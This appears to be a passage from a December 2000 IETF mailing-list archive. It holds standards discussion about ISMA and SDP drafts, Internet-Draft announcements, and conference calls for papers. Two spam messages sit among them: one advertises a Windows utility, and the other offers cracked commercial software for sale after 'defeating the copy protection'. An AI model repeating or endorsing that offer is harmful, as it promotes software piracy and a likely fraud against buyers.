        4on2andIP-sys@advent.ee.columbia.edu, jan.vandermeer@philips.com
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Like I said, any standards that need to be published I expect to be 
published through and with and in the regular cooperation of the 
members in the ietf.  I'm at the IETF and would be happy to talk 
about it;  I was hoping to say a few words today, when mpeg-4 comes 
up.



At 12:52 AM -0500 12/14/00, Marshall Eubanks wrote:
>Dave Singer wrote:
>>
>>  At 3:05 PM +1100 12/14/00, Markus Buchhorn wrote:
>>  >Hi All
>>  >
>>  >Could somebody please explain to me what Apple/Sun/Cisco/... are doing in
>>  >the ISMA, which is different to what has been discussed on these lists for
>>  >some time? Or have these discussions been part of the ISMA's work?
>>  >
>>  >http://www.isma.tv/
>>
>>  I'm not an official ISMA spokesperson, but here goes.  For a start, I
>>  expect any specs that are to be published will be submitted to the
>>  IETF, ISO et al. as appropriate.  The ISMA members might get together
>>  to help write etc., but I don't think this is a standards body per
>>  se.  The ISMA will expect members to implement the agreed-to specs,
>>  and will hold interop events to make sure that the specs and
>>  implementations are good.  They will also promote the use of these
>>  specs from the IETF and ISO, with the goal of making internet-based
>>  multimedia as open and multivendor as, say, http and html are today
>>  (perhaps a bad analogy, given the rocky road HTML has had, but you
>>  probably see what I mean).
>>
>
>Is this different from or in competition with the Audio Visual Transport (AVT)
>working group in the IETF  ? Why is another standards body needed ? Why didn't
>they present today in the AVT meeting (there is still another chance
>tomorrow) ?
>
>
>                                    Regards
>                                    Marshall Eubanks (from the 49th IETF)
>
>    Multicast Technologies, Inc.
>    10301 Democracy Lane, Suite 201
>    Fairfax, Virginia 22030
>    Phone : 703-293-9624          Fax     : 703-293-9609
>    e-mail : tme@on-the-i.com     http://www.on-the-i.com

-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Thu Dec 14 15:36:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA10452
	for confctrl-outgoing; Thu, 14 Dec 2000 15:36:21 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA10447
	for <confctrl@zephyr.isi.edu>; Thu, 14 Dec 2000 15:36:19 -0800 (PST)
Received: from hotmail.com (law2-f249.hotmail.com [216.32.181.249])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA02901
	for <confctrl@ISI.EDU>; Thu, 14 Dec 2000 15:36:19 -0800 (PST)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 14 Dec 2000 15:35:48 -0800
Received: from 207.137.73.101 by lw2fd.hotmail.msn.com with HTTP;	Thu, 14 Dec 2000 23:35:48 GMT
X-Originating-IP: [207.137.73.101]
From: "James Undery" <jundery@hotmail.com>
To: jdrosen@dynamicsoft.com, yon@dialout.net, confctrl@ISI.EDU
Subject: RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
Date: Thu, 14 Dec 2000 23:35:48 -0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <LAW2-F249keb1c1Srkt0000cc5b@hotmail.com>
X-OriginalArrivalTime: 14 Dec 2000 23:35:48.0843 (UTC) FILETIME=[96A303B0:01C06626]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>

> > -----Original Message-----
> > From: David Yon [mailto:yon@dialout.net]

> > Jonathan suggested that we fold in all the
> > connection-oriented protocols
> > that we currently know about into the draft.  SSL, TLS, RTSP,
> > et al.
>
>
>SCTP (rfc2960), not RTSP.
>
> > While
> > I wish I was an encyclopedia of existing network protocols, I'm not.
> > :-)  So if folks could chime in with their favorite
> > connection-oriented
> > protocols they would like to see listed, that would help me a
> > great deal.
>
>I think if we have TLS (no need for a separate SSL identifier), TCP, and
>SCTP, we are covered.
>
Another protocol in the pipeline is BXXP which has been submitted to the 
IESG as draft-ietf-beep-framework-08.txt, although if this should be 
included until it is confirmed on the standards track procedure I wouldn't 
like to comment.

James Undery jundery@ubiquity.net

_____________________________________________________________________________________
Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


From confctrl-owner  Tue Dec 19 03:35:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA12614
	for confctrl-outgoing; Tue, 19 Dec 2000 03:35:01 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12596
	for <confctrl@zephyr.isi.edu>; Tue, 19 Dec 2000 03:35:00 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA16789
	for <confctrl@isi.edu>; Tue, 19 Dec 2000 03:34:55 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10755;
	Tue, 19 Dec 2000 06:34:53 -0500 (EST)
Message-Id: <200012191134.GAA10755@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-03.txt
Date: Tue, 19 Dec 2000 06:34:53 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-03.txt
	Pages		: 91
	Date		: 18-Dec-00
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001218121702.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001218121702.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Dec 20 02:49:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA06664
	for confctrl-outgoing; Wed, 20 Dec 2000 02:49:15 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA06653
	for <confctrl@zephyr.isi.edu>; Wed, 20 Dec 2000 02:49:13 -0800 (PST)
Received: from iraun1.ira.uka.de (iraun1.ira.uka.de [129.13.10.90])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA18419;
	Wed, 20 Dec 2000 02:49:08 -0800 (PST)
Received: from blackfoot.telematik.informatik.uni-karlsruhe.de by iraun1 (PP) 
          with ESMTP; Wed, 20 Dec 2000 11:48:46 +0100
Received: from telematik.informatik.uni-karlsruhe.de (tpc17.telematik.informatik.uni-karlsruhe.de [129.13.42.117]) 
          by blackfoot.telematik.informatik.uni-karlsruhe.de (8.9.3/8.9.3) 
          with ESMTP id LAA12270; Wed, 20 Dec 2000 11:48:30 +0100 (MET)
Message-ID: <3A408F24.ABB4D1CB@telematik.informatik.uni-karlsruhe.de>
Date: Wed, 20 Dec 2000 11:51:16 +0100
From: Klaus Wehrle <wehrle@telematik.informatik.uni-karlsruhe.de>
Organization: University of Karlsruhe - Institute of Telematics
X-Mailer: Mozilla 4.7 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
CC: Lars.Wolf@rz.uni-karlsruhe.de, Ralf.Steinmetz@KOM.tu-darmstadt.de,
        d.hutchison@lancaster.ac.uk,
        wehrle@telematik.informatik.uni-karlsruhe.de
Subject: IWQoS 2001 - Call for Papers
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

    --> We apologize if you receive multiple copies of this. <-- 
=======================================================================

                           CALL FOR PAPERS
                
                     NINTH INTERNATIONAL WORKSHOP
                    on QUALITY of SERVICE (IWQoS)
                         
                  http://www.uni-karlsruhe.de/~iwqos/
                                    
                            June 6-8, 2001
                       University of Karlsruhe
                          Karlsruhe, Germany


IWQoS 2001 is supported (approval pending) by technical co-sponsorship
by the IEEE Communications Society, ACM SIGCOMM and IFIP WG 6.1.

Workshop Theme
==============

IWQoS is a very successful series of workshops providing an
international forum for the presentation and discussion of new
research and ideas on quality of service (QoS) -- the IWQoS2001
workshop in Karlsruhe follows the IWQoS events held in Columbia, Napa,
London, and Pittsburgh.  It is a premier forum for all work related to
QoS -- especially in networking but also QoS aspects outside of
networking are considered as very important as well, e.g., QoS in
operating systems, QoS in servers, advanced middleware services and
according technical issues such as quality, safety and security,
admission, accounting, mobility.  The objective of this Ninth
International Workshop on Quality of Service is to bring together
researchers, developers, and practitioners working in all these areas
to discuss recent innovative results and future directions.

The list of topics of interest includes (but is not limited to)
  - experiences with QoS (measurements, tests, evaluations)
  - QoS in heterogeneous networks
  - QoS routing
  - QoS and active networks
  - QoS for wireless and mobile
  - charging, accounting, and pricing for QoS
  - QoS support for applications and services
  - QoS in servers and endsystems
  - QoS support for information appliances
  - QoS control for middleware and platform support for QoS
  - QoS and adaptation mechanisms
  - resource management and control
  - analytical and simulation models for QoS
  - safety and security aspects
  - programmability and language aspects


Important Dates
===============
  - Paper deadline:    February 18, 2001
  - Notification:      April 2, 2001
  - Final papers due:  April 15, 2001


Committees
==========

Co-Chairs
---------
Lars Wolf, University of Karlsruhe
David Hutchison, Lancaster University 
Ralf Steinmetz, GMD IPSI


IWQoS Steering Committee
------------------------
Jon Crowcroft, UCL
Rich Friedrich, HP Labs
Edward Knightly, Rice University
Peter Steenkiste, CMU
Hui Zhang, CMU



IWQoS2001 Program Committee (preliminary)
---------------------------

Nina Bhatti, Nokia
Gordon Blair, University of Lancaster
Jose Brustoloni, Bell Labs
Andrew Campbell, Columbia University
Georg Carle, GMD FOKUS
Jon Crowcroft, UCL
Bruce Davie, Cisco
Hermann de Meer, UCL, London
Jan de Meer, GMD FOKUS
Serge Fdida, LIP6
Rich Friedrich, HP Labs
Kevin Jeffay, Univ. North Carolina
Edward Knightly, Rice University
Jim Kurose, U.Mass.
Jorg Liebeherr, University of Virginia
Qingming Ma, Cisco
Klara Nahrstedt, University of Illinois
Andrew Odlyzko, AT&T Research
Jim Roberts, France Telecom
Cormac Sreenan, Univ. College Cork
Peter Steenkiste, CMU
Burkhard Stiller, ETH Zuerich
Ion Stoica, CMU
John Wroclawski, MIT



Local Organization
------------------
Klaus Wehrle, University of Karlsruhe
Lars Wolf, University of Karlsruhe


Further General Information
===========================
http://www.uni-karlsruhe.de/~iwqos/

From confctrl-owner  Wed Dec 20 06:51:08 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA15714
	for confctrl-outgoing; Wed, 20 Dec 2000 06:51:08 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA15709
	for <confctrl@zephyr.isi.edu>; Wed, 20 Dec 2000 06:51:07 -0800 (PST)
Received: from mel.alcatel.fr (mel.alcatel.fr [212.208.74.132])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA12521
	for <confctrl@ISI.EDU>; Wed, 20 Dec 2000 06:51:05 -0800 (PST)
Received: from aifhs2.alcatel.fr (mailhub.alcatel.fr [155.132.180.80])
        by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id PAA15147;
        Wed, 20 Dec 2000 15:50:34 +0100
Received: from medine.ms.alcatel.fr (medine.ms.alcatel.fr [193.105.117.1])
        by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id PAA10238;
        Wed, 20 Dec 2000 15:47:01 +0100 (MET)
Received: from ms.ms.alcatel.fr (ms.ms.alcatel.fr [188.9.12.93])
	by medine.ms.alcatel.fr (8.8.8/8.8.8/aar-1.2) with ESMTP id PAA15252;
	Wed, 20 Dec 2000 15:50:55 +0100 (MET)
Received: from ms.alcatel.fr ([188.9.247.87])
	by ms.ms.alcatel.fr (8.8.7/8.8.7/aar-1.0) with ESMTP id PAA18073;
	Wed, 20 Dec 2000 15:50:56 +0100 (MET)
Message-ID: <3A40C767.1D798689@ms.alcatel.fr>
Date: Wed, 20 Dec 2000 15:51:19 +0100
From: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Organization: Alcatel
X-Mailer: Mozilla 4.71 [en] (WinNT; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
CC: confctrl@ISI.EDU
Subject: Re: draft-kutscher-mmusic-sdpng-req-01.txt
References: <cdhf4rvwyg.fsf@daemon.informatik.uni-bremen.de> <3A2D0D7E.A2F08931@ms.alcatel.fr> <m3hf4e1ci0.fsf@duennmann.tzi.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

    Dirk,

Please apologize for my sarcastic comment during Mmusic meeting concerning
Media Gateway capabilities, I wasn't aware about  your message.
Concerning SDP-ng:
I agree with you that nothing in your document is conflicting with the
idea of capabilities for media gateway.
But section "5.1 Capability Constraints", is not clear to me.
You define capability negotiation in the following way:
"Capability negotiation is used to gain a session description (an actual
configuration) that is compatible with the different end system
capabilities and user preferences of the potential participants of a
conference."

I am not sure to understand what you mean by "end system"  (Perhaps, it is
just a question of terminology).
In my mind, a media gateway acting as a transcoder is not a "end system".
I imagine a case, where 2 VoIP terminals (T1 and T2) have incompatible
codecs transcoded by a Media Gateway MG1 controlled by a Media Gateway
Controller MGC1. In this case, I would say that there are 2 sessions to
negociate (one with negotiation between T1, MG1 and MGC1 and one between
T2, MG1 and MGC1).

Thomas,

Dirk Kutscher wrote:

>
> Thomas,
>
> actually we have also had the transcoding gateway model in mind,
> although we have not mentioned it explicitely. Thanks for bringing
> this up, we will add a corresponding paragrpah.
>
> Do you see any parts in the listed requirements ore the sketched model
> that are in conflict with requirements for the gateway scenario?
>
> --
>         Dirk


From confctrl-owner  Wed Dec 20 18:58:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA14744
	for confctrl-outgoing; Wed, 20 Dec 2000 18:58:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA14739
	for <confctrl@zephyr.isi.edu>; Wed, 20 Dec 2000 18:58:29 -0800 (PST)
Received: from athena (athena.il.waw.pl [193.59.177.167])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eBL2wR806052
	for <confctrl@isi.edu>; Wed, 20 Dec 2000 18:58:28 -0800 (PST)
Received: from commadus19.salesforlife.net (1Cust154.tnt18.det3.da.uu.net [63.17.39.154]) by athena (980427.SGI.8.8.8/970903.SGI.AUTOCF) via SMTP id DAA72239; Fri, 8 Oct 1999 03:56:24 +0200 (MDT)
From: info3@backtoday.com
Date: Wed, 20 Dec 2000 21:55:34 -0500
To: $user@safopepelg.firstconf.com
Content-Type: text/plain;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
Message-Id: <4dp76g1mht.76jc7u26u@commadus19.salesforlife.net>
Subject: Learn How To Boost Windows Reliability!!!
CC: confbc@firstconf.com, confbrasilvolei@firstconf.com,
        confctrl@firstconf.com, confctrw@firstconf.com,
        confderate@firstconf.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Windows User,

Now you can boost the reliability of ordinary Windows 3.x, 95 and 98 to
nearly the level of Windows NT or 2000, Microsoft's professional and 
industrial
version of Windows.

The new WinFix 4.3 is a very effective way to improve the reliability of
Windows, because it makes Windows fault-tolerant and self-repairing. And
WinFix is very safe, because it operates completely independent of
Windows.

http://www.backtoday.com/comph to find out more about WinFix,
the safest, most effective way to keep you working, by keeping your PC
working non-stop.

Arlen Dixon, CEO
Westwood Software Marketing

* * * * * * * * * * * * * * * * *
This announcement is being sent to PC users who asked to be kept
informed about new developments in Windows(tm) technology.
To be removed from our mailing list, go to the Email-us page.
OR
To be removed
mailto:remove@backtoday.com?Subject=REMOVE


From confctrl-owner  Wed Dec 20 22:51:54 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA23002
	for confctrl-outgoing; Wed, 20 Dec 2000 22:51:54 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA22997
	for <confctrl@zephyr.isi.edu>; Wed, 20 Dec 2000 22:51:53 -0800 (PST)
Received: from unknown (bc-van-nwt-a53-02-50.look.ca [204.174.249.50])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id WAA15805;
	Wed, 20 Dec 2000 22:48:20 -0800 (PST)
From: heesun9@mail.com
Message-Id: <200012210648.WAA15805@gamma.isi.edu>
Subject: OS Software?
Date: Wed, 20 Dec 2000 19:13:58
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are you interested in Office 2000? I am selling perfectly working 
copies 
of Microsoft Office 2000 SR-1 Premium Edition for a flat price of 
$50 USD.
The suite contains 4 discs and includes: 

Word 
Excel 
Outlook 
PowerPoint 
Access 
FrontPage 
Publisher 
Small Business Tools 
PhotoDraw 

Office Developer 2000 is available as well for $65 and is the 
Premium 
version with Developer Tools. 

As well, why not try out some of the greatest operating systems 
below? 

Microsoft Windows 98 SE $20 
Microsoft Windows Millenium $20 
Microsoft Windows 2000 Pro $20 
Microsoft Windows 2000 Server $50 
Microsoft Windows 2000 Advanced Server (25CAL) $65 

If you would like to order, please email me. I accept checks, 
money 
orders, and PayPal(Allows use of credit cards with 3% surcharge.) 
The 
software are virus checked and copied correctly with the best 
software 
and hardware available. In other words, they work flawlessly. 
CDR's as you 
know cost very little and there is little reason for me to rip 
you off. 
The highest cost is the time and effort I spent in defeating the 
copy 
protection system properly. I will definitely send the software 
upon 
receipt of payment. 

Mand 

Some of our other titles that are available include: 

Adobe Acrobat 4.0 $20 
Adobe AfterEffects 4.1 $29 
Adobe Dimensions 3.0 $29 
Adobe FrameMaker 5.5 $29 
Adobe Illustrator 9 $29 
Adobe Image Styler 1 $29 
Adobe InDesign 1.5 $20 
Adobe PageMaker 6.5 $29 
Adobe Pagemill 3 $29 
Adobe Photoshop 6 $35 
Adobe Premiere 5.1 $29 
Adobe Photodeluxe 3.0 $20 
Adobe Pro Jpeg 3.0 $20 
Adobe Streamline 4.0 $20 
 
MS Exchange 2000 Server $35 
MS Map Point 2000 $20 
MS Money 2000 *Deluxe $25 
MS Office 2000 Proffessional     $35 
(Word, Excel, Outlook, Access, Power Point & Front Page) 
MS Office 2000 Premium $50 
(Everything Proffessional has plus Photodraw, Publisher, and 
Business 
 tools) 
MS Office 2000 Prem. Developer $65 
(Everything Premium has plus Powerful Tools for software 
developers) 
MS Project 2000 $30 
MS SQL Server 7.0 $50 
MS WIndows 95 $15 
MS Windows 98 SE $20 
MS Windows 2000 Pro $20 
MS Windows 2000 Advanced Server $65 
MS Windows Millenium (WinME) $20 
MS Visio 2000 Server $50 
MS Visual Basic 6 Professional $30 
MS Visual Studio Enterprise 6.0 $55 
(Visual Basic, Foxpro, C++, InterDev, J++) 

*Other titles available:

Corel Draw 10 $30 
Macromedia Flash 5 $30
Macromedia Fireworks 4 $30
Macromedia Dreamweaver 4 $30
 
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Thu Dec 21 03:46:57 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA03906
	for confctrl-outgoing; Thu, 21 Dec 2000 03:46:57 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA03901
	for <confctrl@zephyr.isi.edu>; Thu, 21 Dec 2000 03:46:54 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA24622
	for <confctrl@isi.edu>; Thu, 21 Dec 2000 03:46:53 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15121;
	Thu, 21 Dec 2000 06:46:19 -0500 (EST)
Message-Id: <200012211146.GAA15121@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-00.txt
Date: Thu, 21 Dec 2000 06:46:19 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP media alignment in SIP
	Author(s)	: G. Camarillo et al.
	Filename	: draft-ietf-mmusic-fid-00.txt
	Pages		: 10
	Date		: 20-Dec-00
	
This document defines an SDP media attribute. This attribute is
intended to be used in conjunction with SIP in order to align
different media streams belonging to a session. The use of this
attribute allows sending media from a single flow (several media
streams), encoded in different formats during the session, to
different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001220160817.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001220160817.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Dec 21 05:53:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA09488
	for confctrl-outgoing; Thu, 21 Dec 2000 05:53:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA09483
	for <confctrl@zephyr.isi.edu>; Thu, 21 Dec 2000 05:53:40 -0800 (PST)
Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eBLDrd829257
	for <confctrl@isi.edu>; Thu, 21 Dec 2000 05:53:39 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id IAA382000
	for <confctrl@isi.edu>; Thu, 21 Dec 2000 08:52:51 -0500
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id IAA83052
	for <confctrl@isi.edu>; Thu, 21 Dec 2000 08:51:27 -0500
Importance: Normal
Subject: Call for Papers: ACM SIGCOMM 2001
To: confctrl@ISI.EDU
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF46CC96A3.B4EF6FD5-ON852569BC.004C5A3E@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Thu, 21 Dec 2000 08:57:29 -0500
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Build V506_11152000 |November 15, 2000) at
 12/21/2000 08:53:36 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




                        CALL FOR PAPERS
                   ACM SIGCOMM 2001 CONFERENCE

                   August 27 - August 31, 2001
            Mandeville Auditorium, UC San Diego, CA, USA.
                http://www.acm.org/sigcomm/sigcomm2001
Important Dates:

Paper submission: January 26, 2001
Tutorial proposals: February 12, 2001
Notification of acceptance: April 23, 2001
Camera ready papers: May 21, 2001

The SIGCOMM 2001 conference seeks papers describing significant research
contributions to the field of computer and data communication networks.
Authors are invited to submit full papers concerned with both theory and
practice. Areas of interest include, but are not limited to:

- Distributed application networking infrastructure.
- Distributed common application services, middleware protocols, and
signaling.
- Routing, switching, and addressing.
- Resource sharing, quality of service, multimedia networks, and OS
support.
- Multimedia networking.
- Networking aspects of the WWW.
- Heterogeneous internetworking, large-scale networks.
- Network management.
- Active network architectures and protocols.
- Important experimental results from operational networks and lessons
  learned from prototype implementations.
- Wireless networking and support for nomadic computing.
- Analysis and design of computer network architectures and algorithms.

SIGCOMM 2001 is a single-track, highly selective conference at which
successful
submissions typically report results firmly substantiated by experiment,
implementation, simulation, or mathematical analysis. In addition to the
technical program (paper presentations), SIGCOMM 2001 will offer tutorials
by noted instructors on the two days preceding the actual conference, and
feature an outrageous opinion session where fresh and unconventional
perspectives will be offered.

Submission Instructions:
------------------------

Papers must be less than 20 double-spaced pages long (formatted for
printing in the Proceedings, papers may not be longer than 12 pages),
have an abstract of 100-150 words, and be original material that has
not been previously published nor is currently under review by another
conference or journal.

Authors must submit papers electronically, using the instructions at
http://www.acm.org/sigs/sigcomm/sigcomm2001/submission/index.htm.
Authors not able to comply with these instructions should contact
the Program Co-Chairs at sigcomm2001@seas.upenn.edu .  Papers
submitted after the deadline will not be considered without an
ahead-of-time extension from the Program Co-Chairs.

All submitted papers will be judged based on their quality and
relevance through double-blind reviewing, where the identities of the
authors are withheld from the reviewers. Consult the on-line
submission instructions for information on preparing a manuscript for
double-blind review.  Authors of accepted papers will need to sign an
ACM copyright release form and present their paper at the
conference. The Proceedings of the conference will be published as a
special issue of ACM SIGCOMM Computer Communication Review. The
Program Committee may also select a few papers for possible
publication in the IEEE/ACM Transactions on Networking. Electronic
copies of the accepted papers will be published on the SIGCOMM 2001
web site prior to the conference unless authors specifically request
that this not be done.

Tutorials:
----------

SIGCOMM 2001 will begin with two days of full-day and half-day tutorials
covering single topics in detail, at both the introductory or advanced
level. Individuals interested in submitting tutorial proposals are
encouraged to contact the Tutorial Chair before the deadline to discuss
the proposed content.

Student Paper Award
-------------------

Papers submitted by students may be considered for a student-paper award,
which includes full conference registration and a travel grant of
approximately $500. To be eligible, the student must be the sole
author of the paper, or the first author and primary contributor. A cover
letter or email to the Program Chairs must identify the paper as a
candidate for this competition.

SIGCOMM Award:
--------------

The keynote speaker at SIGCOMM 2001 will be the 2001 winner of the ACM
